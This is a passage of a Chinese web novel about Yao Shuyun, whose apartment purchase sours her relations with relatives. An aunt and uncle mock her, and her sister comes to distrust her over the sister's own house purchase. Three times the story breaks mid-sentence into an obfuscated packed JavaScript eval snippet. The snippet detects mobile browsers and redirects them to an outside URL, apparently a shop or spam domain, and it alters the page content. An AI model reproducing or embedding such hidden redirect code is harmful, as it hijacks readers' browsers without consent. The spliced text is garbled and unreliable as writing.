可对此姚舒云内心毫无波澜,她心想,“我就一套房,不管涨跌,都是自己住,又有什么关系呢。” 因此也并不多理会三姨夫话中的意思。 哪知三姨夫以为姚舒云没听明白,又把话说得更透了点儿,“就你家旁边,听说隔几条路的距离,有咱这老乡说两三千一平的房子都有。哎哟,你说,现在房子这么便宜了吗?” “是的吧,毕竟未来趋势就是房越来越多,人越来越少,还有名人说过‘以后房子就是白菜价’呢。” 姚舒云言谈正常,她并不在乎房子是跌还是涨,心里反复想得就是“不管涨跌反正都是要住,又有什么关系呢。” “还有老乡说你们小区旁边,就离得很近的地方,说房子不好卖,都没什么人要。” 这是生怕姚舒云不伤心不难过不着急,又或者是生怕姚舒云仍沉浸在房价高涨的暴富美梦中,所以才不惜一次又一次把话点亮,甚至点透姚舒云。 这简直是贴脸开大,就差指着姚舒云的鼻子,明明白白地告诉她:“哼,你的房子不值钱!根本都卖不掉!” 姚舒云当即生硬地回道:“嗯!是的!现在房子不值钱!卖都卖不出去!” 说完感到好气又好笑,不禁摇头叹息一声,脸上浮现出一个极其无奈的笑容。 她知道三姨夫心里有气,同样买房,他买了商铺,不仅收不回租金,连本钱也要打水漂,而姚舒云却不仅能住上大房子,房价还涨了。 搁谁谁心里好受? 再有母亲在一旁的添油加醋、煽风点火,三姨夫心里指不定多窝火难受。 “嘲讽一两句算什么,没当面骂就不错了。”姚舒云自嘲地想。 恰巧这时候三姨炒好了菜,端过来,巧不巧地刚好被她撞见姚舒云最后怼三姨夫的画面。 她不明就里,看了看姚舒云和自己丈夫的脸色,一脸疑云地又去端下面一盘菜。 等到菜都上了桌,刚好有人过来修车,三姨夫出去干活儿,三姨顺势坐在那位置上。 王慧还没来,三姨夫也在忙,等人齐了才能一起吃饭。 期间三姨、姐姐,和姚舒云,三人随意闲聊两句。 忽然三姨看着姚舒云,说:“你们三个啊,别看,还数人家王慧有魄力呢。” 姚舒云一听,就觉出了三姨的话里有话,她不过是想笑话姚舒云不上班,只能在家带孩子。不像人家王慧,还没上过大学呢,都能自己开店了。 但她没明说,姚舒云也懒得理会了。知道她家因投资商铺不顺,心里不痛快,笑话自己两句就算了。 一旁的姚燕立刻说道:“是啊,她挺有魄力的,自己出钱开店,挺胆大的。” 她和三姨两人说起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404828|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王慧开的美容店,生意怎样,每年能赚多少钱。 眼见话都说完了,姚舒云仍在一旁不置一语,三姨特意凑近一些,盯着姚舒云问:“你说是不是啊?!” 哈,感情这是见没羞辱到自己,不甘心呢?还非要当面贴脸再问一遍。 这跟直接打脸没什么区别了,姚舒云当即火起,立刻呛声回怼:“那当然是啊!人家好歹还一开店的呢,大小是个老板,我们呢,算啥呀,” 她看向姐姐姚燕,笑着说:“穷打工的打工,在家带孩子的带孩子,噢,不,姐,你比我强点,最起码还能打工挣钱,我呢,整天搁家里,纯纯屁都不是。” 直到这时姚燕似乎才发觉一点空气里的火药味儿,可她不知道怎么回答,更不知道该附和哪个。 她一向是个没心眼的,以为三姨那样说就只是表面那意思,想夸赞王慧而已。绝想不到三姨话里有话。 然而姚舒云却心知肚明,三姨的真实目的不过是假借王慧之名,实则羞辱姚舒云窝囊没本事,白上了大学,只能在家带孩子。 当真是“不是一家人不进一家门”,夫妻两个不光前后脚羞辱,连方式都那么离奇一致。 姚舒云都打算当缩头乌龟,不闻不理了,他们却还偏偏要把她的头拎出来,贴脸问“是不是?对不对啊?” 非要把那一巴掌结结实实甩在姚舒云脸上才甘心,生怕她蠢到听不懂,而仍沉浸在虚幻的美梦中。 “呵呵,哈哈,嘿嘿……”姚舒云心里止不住地狂笑,她在心中反复自问:“你说,人啊人,怎么能这么有意思呢?” 三姨霎时变了脸色,当即讪讪地,再不敢盯着姚舒云看,结巴地说:“哎,我,我不是那意思……” “本来就是这样啊!事实如此嘛!”姚舒云却反而紧盯着她,脸上全是讥讽的笑。 人不光有意思,还虚伪,被拆穿了又装作无辜。倒打一耙,仿佛自己才是受委屈的那个。 当真是让人厌恶至极。 好巧不巧地,这时候三姨夫事情忙完进来,他看着三姨,就像之前三姨看他一样。 他也不明前因后果,但看妻子脸上不悦的表情,立刻猜测到妻子必定是在姚舒云这里受了气,因此脸色愈加难看。 很快,王慧来了,面对她,三姨明显自在热情得多,姚舒云也懒得计较。 席间她自顾自地吃饭,有好意招待她时,她也以好意敬之,无人理会时,她也毫不在意。 只是内心不由得感到一丝荒凉,原本在心中,三姨和三姨夫是理想父母般的存在,他们夫妻和睦,甚少争吵,对待孩子,也很平和尊重。 不像自己父母,鸡飞狗跳,你死我活,污言秽语,挖苦讽刺。 从很小的时候,姚舒云就非常羡慕表弟姚波,能有三姨三姨夫这样一对好父母,在心里,她也很尊敬、热爱他们两个,把他们当做有修养的长辈。 然而…… “哎,”姚舒云不禁垂头,心中叹息,“人为什么要长大呢?如果一直是小时候,不懂事,该多好?” 那样就不用看见这些人性中的污秽,而他们也会一直是自己理想中的模样。 理想幻灭,可真叫人难受。 22. 姐妹(1) “舒云,快管管你姐吧,她跟疯了一样,在家又哭又闹。非吼嚷着要买房子、买房子,说什么都听不进去。我要被她逼死了!” 临睡前,姚舒云忽然接到姐夫赵磊打来的电话,他怨气冲天,声如雷鸣,震得姚舒云耳膜“嗡嗡”响半天,好不容易消停点,姚舒云赶紧问:“咋了?你们咋了?” “再这样下去,我迟早要跟她散,这日子过不下去了,咱好聚好散。你说买房子,买房子,我老家有房子,没必要买。要是真买,咱从长计议,可跟她咋说都说不通,非要一个劲儿就是买!买!哎哟,老天爷啊,真要逼死人噢!” “她还整天嫌我没本事,嫌我挣钱少,我对她再好,她一点也不在乎,你说这样能长久吗?” “我算是看透了,你姐眼里除了钱,啥感情什么的,她是一点都不在乎,对我想骂就骂,还整天嫌我。” “你就问你姐,日子还能过不?不能过,算了,咱们好聚好散,小孩儿她要要就要,不要我就让我妈过来带走,真跟她过不下去了。” “真没必要再这样,活活折磨死人,你说哪还有大半夜的夫妻两个吵架,她是一点啥都不考虑……” 越说越激动,赵磊开始语无伦次,最后生气地“啪”一声挂断电话。 当真是被气得不轻。 姚舒云一头雾水,等她回想赵磊的话,忽然意识到这场争吵最根本的关键在于:房子。 啊,天哪! 姚舒云当即惊出一身冷汗,她原以为三姨和三姨夫对房子的执念很深,却想不到姐姐也是。 “姐姐,姐姐……” 姚舒云轻轻念出这两个字,内心一片温暖。这个只比她大两岁,性格大大咧咧,没任何城府和心眼的姐姐,一直是她内心最温暖的存在,是一个比之母亲更让她在乎的人。 是从什么时候开始,她也对房子生出执念? 由此姚舒云想到,自己这套房子到底给其他人带来了多少伤害? 似乎身边每个亲人都因为自己买了这套房子后,发生了巨大的变化:母亲、父亲、弟弟、大伯、三姨、三姨夫……及至现在的姐姐和姐夫。 争吵、不睦、冷眼、讽刺、眼红、嫉妒…… 姚舒云觉得自己就像一个带着众人在井边看了一眼的青蛙,带大家见过外面繁华后,又没有能力托举,让大家重新跌回到阴暗潮湿的井中。 事实上,她也在井中一隅,可因为那一套房子,像一个虚幻的泡沫,圈住了她,遮蔽了所有人的眼睛,以致大家以为她在井上过着五彩斑斓的生活。 啊,天哪! 细思极恐,姚舒云不敢细想这套房子到底会给自己带来多大的恶意,而这份恶意到底还要持续多久。 忽然她心中升起一股恶毒的怨念,无比盼望房价下跌,“快跌吧,快跌吧,等跌到一文不值,大家心里就都平衡了。” “呵呵。”姚舒云冷笑两声,觉得自己真是滑稽,给自己套了这么大一个枷锁,被勒得几乎要断了气。 再抬眼看看房子,这哪里还像一个温馨的家,简直就是一个沉重的壳,压着她负重前行,还要遭受身边所有人的恨意。 今日这所有的祸端皆源于她稀里糊涂买了房,又该死地多嘴问了句销售现在的房价……至此,一切都变了样。 她闭上眼睛,懊悔万分。 如果没有当初她心存侥幸在电话里问销售如今房价,如果没有因为心底的一丝炫耀而告诉了母亲,如果没有为了贪图一点虚荣而任母亲四处广而告之,那么今天也就不会有这泼天的恨意。 此时此刻,姚舒云真是体会到了什么叫“肠子都悔青了”,也因此,她深刻地理解到“财不露白”的含义。 可惜没有后悔药,她只能品尝昔日自己种下的恶果。 正愣神间,忽然姐姐姚燕打来电话,一接通,她立刻哭出声来:“赵磊那个死男人,是真不想过了,他摔摔打打,跑出去了。临走还不忘踹我两脚,死男人,贱男人,我诅咒他,不得好死。呜呜呜……” 姚燕哭哭嚷嚷,一会儿骂一会儿叫,姚舒云根本就没有开口的机会。 好不容易等她消停点儿,姚舒云立刻问:“你们为啥又吵架啊?买房?现在房价虚高,又开始下跌,未必是买房的好时机,再说利率也很高,那利息折算下来高得吓人。” 顿了顿,她接着说:“你们在老家有套房子,独门独院,在街上,交通也便利,不一定非要买房子,而我和豫林,是一套房子都没有,没房子就没地方结婚,连个住得地方都没有。” 她原本是陈述事实,哪知听在姐姐姚燕耳朵里,却完全不是那么一回事儿。 只听她立刻反驳道:“啊,不买房?不买房孩子就只能留在老家,做留守儿童。留守儿童性格差,有几个能学好的?你听那个死男人这样说,你就这样向着他说。他不买房,是因为他不想受累,光想着轻松,那前两年,他把家里钱祸祸了十来万,你怎么不说?啊?” “有没有一种可能,姐,你试着回想一下,”姚舒云绞尽脑汁想措辞,力求能让姐姐听懂,又不让她恼怒,“当初他损失了十多万块钱,其中有一点点是因为你总嫌他没本事,挣不来快钱、大钱,所以他可能会一时着急,在网上找路子,而不幸被骗。” “啊?你这意思,他祸害了十多万块钱,感情还是我的错?我看你真是是非不清,什么都不懂,胡乱瞎说。你是我亲妹吗?啊?你怎么这样,你……” “姐,姐,你先听我说,你先消消气。我是在跟你分析一下事情的本质。你有没有想过,之前的黄瑞被骗进传销,是为了什么?” 黄瑞是姐姐第一任丈夫,跟她不是同地人,两人是经人介绍认识的。没多久结婚了,但很快婚姻不合,但由于两人有一个儿子,再加上公婆年轻,一直帮忙照顾小家庭,因此他们倒没闹出什么太大问题。 哪知黄瑞却在婚后的第三年,入了传销组织,而且越发沉迷。一开始家人半信半疑,后来在黄瑞的实地带领参观下,竟也深信不疑。就连姐姐姚燕也如此,不过她当时远在父母这边打工,听信得少,再加上有姚舒云他们反复给她强调那就是传销,姚燕才有所醒悟。 而这个时候,黄瑞已经泥足深陷,他不仅自己投入了很多钱,而且还发展了不少亲戚、朋友。 姚燕同他大闹,某一次大吵后,两人商定去离婚。 事后姚燕冷静后开始后悔,她还有一个孩子,不是真的想离婚,当时不过是一时气头上,被黄瑞气懵了,冲动做了决定。 而黄瑞却如泥鳅一样,消失不见。 她是一时冲动,而黄瑞显然是早有打算。 最后姐姐姚燕没有为自己争得任何利益,孩子因为是个男娃,被公婆极其重视,考虑到自己没有固定住所,孩子跟着爷奶最起码有个安稳的环境, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404829|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此姚燕最后只带了一些被褥衣服回来。 她是异地而嫁,相当于白白损失10年青春,最终给男方留下一子,而结束这段狼狈的婚姻。 不久后,她又认识了赵磊,赵磊倒和姐姐是同地人,而且年纪也比她足足小了4岁。 一开始,感情还算不错,婚后他们生了个女儿,按说是自己做主选择的婚姻,本应和和睦睦,然而却也是争吵不断。 …… “这,这跟黄瑞又有什么关系?你怎么说到他?”姚燕显然一时脑回路转不过来,感觉妹妹姚舒云简直莫名其妙。 “他当初进传销,那当然是因为他好高骛远、眼高手低、不爱干活儿,活该被骗。可在这之外,有没有可能是有一点点因为你,嗯,你可能觉得他只是个开挖掘机的,有些看不起他,而让他觉得没面子,想挣些大钱,来些快钱……” 姚舒云极尽委婉地想措辞,努力想让姐姐听明白,又不想让她生气。 “啊?你这什么意思?他进传销是我让进的?他被骗是我让他被骗的?你咋这样分不清,哎,再说这跟赵磊有什么关系,这哪儿跟哪儿啊?!!”姚燕简直要气炸了,她感觉妹妹已经不是莫名其妙,而是脑子有病了。 “哎,姐,你先别急嘛。听我慢慢说……”姚舒云感觉姐姐就像是一只大老虎,必须先得努力把她毛给捋顺了,捋舒服了,才能说出自己最终想表达的意思。 否则……姚舒云毫不怀疑,姐姐会当面一脚将她踹到十万八千里远。 “赵磊之前在网上投资游戏什么的,被骗了十多万,你有没有想过他为什么会这样?” “他为什么会这样?那他不爱干活儿,光想歪门左道……” “你总是动不动就说他没本事,挣不来大钱,又说谁谁的老公干什么一个月可以挣多少钱,又说谁谁的工资高……总之你总是拿别人和他对比,是不是?” “哎,我不能说吗?我说得是事实,他就是没人家挣得多,他……” 姚舒云再次打断姐姐,决定不再循序渐进,而是直接一击即中,点明话题,“你嫌弃他,打击他,羞辱他,他气不过,自然想证明自己。可现实中哪有什么挣钱快,来钱容易的路子。一旦有,那就是陷阱、骗局,这也就是为什么黄瑞进传销,赵磊被网上诈骗的原因。” 她想反正在电话里呢,隔着那么老远的距离,姐姐就是想踢也够不到。索性她就直接敞开了说。 “这,这……什么跟什么啊?”姚燕显然被妹妹姚舒云说得有些懵,觉得她好像说得有道理,又觉得似乎不是那么回事儿,“这什么意思?难道……是我的错?是我让他们进传销、被诈骗?” “不是说你让他们进传销或者是被诈骗,而是说因为一部分你的原因导致他们这样。你有没有一点觉得,你跟咱妈很像,都是总嫌弃自家男人没本事,从而家里鸡飞狗跳,鸡犬不宁?” “我……” “赵磊也只是个普通人,靠一门手艺,勤勤恳恳在厂里上班干活儿挣工资,旁人虽说工资可能稍微高点,但也会有其他不如意的事儿。所以没必要看别人怎么样,踏实过好自己的日子就行,平平安安、健健康康。” 姚舒云努力试图让姐姐看清生活真相,并想让她学会平和一点,接受伴侣只是个普通人的事实,没必须跟别人攀比什么。 哪知,没隔几天,姐姐的一通电话彻底让她懵了。 23. 姐妹(2) “我们已经选好了房子,想让你和豫林啥时候有空过来帮忙掌个眼。” 电话里姐姐喜滋滋的声音,听到这个消息,姚舒云简直震惊了,她竟想不到姐姐私底下都已经要买房了。 先前几次电话,姚舒云还特意跟她分析过当下房子形势,说起房价虚高,利率太吓人,不适宜贸然入手……感情姐姐全没当一回事儿。 又或者…… 姚舒云突然意识到,在自己看来,她分析当前房子形势是苦口婆心为姐姐好,可如果站在姐姐的角度呢?或许就不是那么一回事儿了。 毕竟自己买了房子,是个有房子的人,而且丈夫周豫林工资的确是比姐夫赵磊高,那在姐姐眼里,自己说不定就只是个站着说话不腰疼的人。 想到这一层,姚舒云瞬间感到内心百感交集,喉间似乎有一股酸涩,像是被人误解,又像是被人遗弃,总之很难说清其中滋味。 但很快她收拾起内心惊讶,愉快地答应了姐姐,并说刚好明天周末,到时候和豫林一起去帮忙看房子。 再愚蠢,她也知道这个时候不能泼人凉水,再说,姐姐夫妻两个都已经选好了房,那是势在必行,一定会买的。 所谓帮忙“掌个眼”,只不过是委婉体面地通知他们一声而已。 接着姚舒云又问了些房子面积、总价,贷款之类的问题,又特意问了利率,一听,六点几,当即咂舌,不过她没敢表现得太明显,以免姐姐多心。 “既然人家已经打算买房,那这些因素势必也已经考虑进去,不需要我一个外人再多操心。” 想是这样想,但毕竟是自己的亲姐姐,还是没法不操心。 挂完电话,姚舒云开始查各个银行贷款利率,并研究各项贷款还款合约,努力想找一些省钱的方法,但她没有专业财会知识,找来找去发现基本上都差不多。 想来也是,普通人能有什么省钱钻空子的机会,很难。 于是又想到跟自己一块儿带孩子有个宝妈,前段时间也买了房,听她说起当时自家在中介费上省了一大笔钱,说是要提前跟中介商议好,拟个什么合同。 具体是怎么操作的,姚舒云当时没在意听,这会儿想到姐姐买房,她打算问问那个宝妈,看能不能在中介费上帮姐姐省一点。 于是又打电话联系那个宝妈,详细记录了她说的方法流程。当忙完后,又立刻马不停蹄地给姐姐打电话,给她讲述这个方法,并将自己做的笔记拍给姐姐看,并反复嘱她,有不懂不会的,一定要随时打电话问自己。 “听那个宝妈说,她当时省了有差不多八千块钱中介费,你们房子总价没他们贵,但也要快一百万了。按照宝妈的方法,估计能省个三四千左右。明天你们就找到那卖房的中介,跟他商定好中介费。”姚舒云如此对姐姐姚燕说。 忙活完这些事儿,看了眼时间,已经快11点了,姚舒云伸了个大懒腰,想来今天应该没什么事儿,她刚要关掉手机睡觉。 忽然,电话铃响了,一看是母亲打来的。 姚舒云正疑惑母亲怎么突然这会儿打来电话,哪知一接通,听到母亲的话,她当即气炸了。 “哎呀,他们要买房子就让他们买,她买了房子不也是想让孩子过来上学吗?” 言下之意,这是自己在阻挠姐姐他们买房子了? 姚舒云无语至极,又气又恼,当即大声吼嚷:“我什么时候不让他们买房子了?啊?!!我是说让他们找中介谈,看能不能省点中介费!!!” “那中介,赵磊说是一早就定好的,中介费啥的谈不下来。” “谈不下来就不谈了嘛,”姚舒云气急无语,又不得不耐着性子说:“那他们就直接出钱买好了呀。赵磊他直接打来电话跟我说一声就行了呀,又不是一定非得省这个钱。我巴巴地又是问人家宝妈方法,又是记流程,不过就是想帮他们省点中介费,而已。” 不需细想,姚舒云就能知道姐姐结夫此刻有多么防着她,又有多么厌烦她,甚至话都懒得跟她说,而是要通过母亲来转告她。 感情这里里外外忙活一圈,落在他们眼里,自己反倒成了破坏人家好事儿的阴险小人?!! 姚舒云心里说不清是个什么滋味,她甚至在心里忍不住暗骂自己一声“活该!谁让你烂好心!” 可这个时候,她顾不得懊悔,更重要的是,她得把话挑出来,说明白,否则,姚舒云敢肯定,所有人都会误认为她这番“献计献策”所谓省中介费,不过就是拖延时间,阻挠姐姐买房的借口而已。 真实目的不过就是她自己买房发财了,却不想姐妹也跟着买房发财。 毕竟当下房产市场如火如荼,价格一天高似一天,尽管网上有不少唱衰的声音,可毕竟买涨不买跌,谁会去想以后呢。 所以姚舒云这一片好心,在他们看来,不过就是阻止别人也发财的小人举动。 尤其是母亲,恐怕更是会如此想,否则她大可以在赵磊打电话过去时就替姚舒云说两句话,说她只是想帮你们省点中介费。 只需这一句话,赵磊必然就能消气。 然而母亲巴巴地打来电话,以责怪的口吻,跟姚舒云说“让他们买房吧……” “呵呵……”姚舒云心里止不住的狂笑,无数个愤怒的骂声,此刻,在喉间滚了一圈后,又被生生地咽下。 她感到莫大的心伤,没想到自己这一片好心,却被他们视如污粪,捧出一颗火热赤诚的心,竟被他们当小人一样防着…… 愤怒、委屈、不甘、失望……万般感受齐涌心头。 不过,这个时候,姚舒云还保留一分理智,她知道生气发怒无用,必须得及时把话说清楚,说明白。 否则,她就只能背着这莫大的冤屈,在亲人们的鄙视下永世不得翻身。 “我打电话找人问了,中介费不是一定要按规定的点儿收取,可以跟中介协商中介费。毕竟我姐那房子面积小,总价高,中介费是很大一笔。所以我想让他们看跟中介能不能协商一下,少收一点。” 解释完来龙去脉后,姚舒云又说:“在我姐确定要买房子后,我从没有说过不让她买的话。事实上,我有什么理由和资格不让她买呢?对不对?她买房子又不花我的钱,买来又不给我住,我凭啥不让她买呢?是不是?” “就算退一步来讲,她真能省下三五千的中介费,那省下来的钱她会给我吗?也不会吧?所以你说我凭啥,为啥不让她买呢?” 姚舒云内心是无法言喻的嘲讽,可语气却是超乎寻常的平静和诚恳。 如此解释完后,母亲闵佳荣像是才反应过来,知道姚舒云可能真的只是想帮助一下,并没什么其他坏心思,从而再开口说话时,语气相对正常了许多。 “哎呀,算了,她能省就省下来,省不下来就让她自己多受点苦,多赚点钱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404830|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,那是的呀。”姚舒云赶忙笑着“附和”母亲,“反正福自享,罪自受嘛。跟别人可是没什么关系的呢。” 挂完电话,一股强烈的恶心感令姚舒云禁不住作呕,她怎么也想不到有一天自己最亲最爱的姐姐,会这样视自己如洪水猛兽。 她不敢细想,在姐夫赵磊给母亲打电话时,他有多么气急败坏,仿佛自己是阻碍他们发财奔向新生活的一块巨大绊脚石。 而在一旁的姐姐,必定也会受丈夫影响,从而对妹妹姚舒云产生怀疑和不信任,甚至说不定还有记恨。 “哎呀……”姚舒云摇头无奈苦笑,自嘲道:“我怎么就变得里外不是人了?” 可她明明没有半分私心和坏心思啊!!! 也是从这一刻起,姚舒云恍然明白到,原来姐姐和自己,早已不是一家人了。从严格意义上来说,她们只是“亲戚”。 而姐夫赵磊和姐姐才是真真正正的一家人。 先前他们打来电话,又是诉苦,又是告状,并不是真的以她为依靠,拿她当信任的人。 不过就是看她软弱,良善,向她发泄抱怨几句而已,真正要决定时,早把她排除在外。 意识到这一点后,姚舒云猛然开窍,她开始思索整件事,自己是否真的有那么无辜。 思来想去,姚舒云觉得自己最大的问题就是没有摆正好位置,她总是站在自己的立场上,为姐姐思考:没买房前,她觉得现在房价太高,不适宜入手,而没考虑到姐姐是有实际居住和孩子上学的需求。 而确定买房后,自己又以为她好的名义,想办法帮她省点所谓的中介费。 摆不清自己身份位置的随意“插手”,才让姐姐和姐夫忌讳。 想明白了这些后,姚舒云开始感慨自己怎么会那么愚蠢,所谓“关心则乱”也要看对方是否需要这种关心。 也十分庆幸自己及时解释了事情的本质:“那就是买房不花我的钱,买来也不给我住,我是个利益无关方,所以我没有任何立场有害人的心思。完全没必要。” 否则,以母亲一贯看姚舒云的态度,自己指不定在他们口中成了怎样的恶毒卑鄙小人,记得当时姚舒云阐明原委后,问母亲:“你也这样想(我)吗?以为我要坏他们的事儿,而阻止他们?” 母亲支支吾吾地说不出什么,其实她不说,姚舒云也明白,她就是这样想的。 恐怕比之姐姐和姐夫,她想象姚舒云的“恶毒”心思更甚。 后来,某在次见到姐姐,姐夫时,姚舒云半开玩笑地说:“赵磊,哪天你要是在外面听到或知道,我姚舒云,但凡做了任何一点对不起我姐的事儿,或者说了任何对我姐不好的话。你上来,二话不说,就直接朝我脸呼一个大耳瓜子。然后,你再跟我说下是为什么就可以了。” “但凡要是核实过,我真的做了对我姐不好的事儿或说了对我姐不好的话,那你就使劲儿随便打,怎么打都成。不妨再说极端一点,但凡我姚舒云要是存有半分对不起我姐的坏心思,那让我直接下地狱,永世不得翻身。” 说得时候,她笑嘻嘻地,可内心却在滴血。 她不得不以这样极端恶毒的诅咒,来证明自身对姐姐的一腔赤诚热血,“那是我的亲姐姐啊,我亲她敬她还来不及,我怎么可能会有一丝半点的坏心思,我……” 姚舒云心中无声呐喊,可面上却只是淡淡地,一笑而过。